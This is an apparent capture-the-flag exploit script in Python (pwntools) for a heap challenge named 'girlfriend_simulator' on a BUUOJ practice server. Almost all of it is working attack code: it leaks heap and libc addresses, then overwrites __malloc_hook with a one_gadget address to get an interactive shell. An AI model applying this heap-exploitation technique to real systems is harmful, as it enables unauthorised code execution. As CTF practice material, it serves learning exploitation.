1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * from PwnContext import *
context.log_level = 'debug' s = lambda data :ctx.send(str(data)) sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'girlfriend_simulator' libc=ELF("./libc-2.23.so") ctx.debug_remote_libc = False local=0 num=0 def choice(): global num if(local): num=32 p=rs() else: num=9 ctx.remote = ('node3.buuoj.cn',27834) p=rs('remote') return p
def menu(index): sla(">>",index) def create(size,content): menu(1) sla("size?",size) sa("content",content)
def free(): menu(2)
def show(): menu(3)
def exit(): menu(5)
choice() list_info=[] sla("How much girlfriend you want ?",num) for i in range(num-1): create(0x10,"123131") free() create(0x10,"11111111") show() ru('11111111') heap_addr=uu64(r(0x6)) list_info.append(hex(heap_addr)) exit() print list_info
create(0x60,"11111111") free() exit() ru("wife:0x") libc_base=int(r(12),16)-(0x7ff277618620-0x7ff277253000) leak("libc_base",libc_base) malloc_hook=libc_base+libc.symbols['__malloc_hook'] one=[0x45216,0x4526a,0xf02a4,0xf1147] sla("say something to impress your girlfriend",p64(malloc_hook-0x23)) sla("moved by your words","12312312") sa("Questionnaire","\x00"*(0x13-0x8)+p64(libc_base+one[1])+p64(libc_base+libc.symbols['realloc']+2)) irt()
|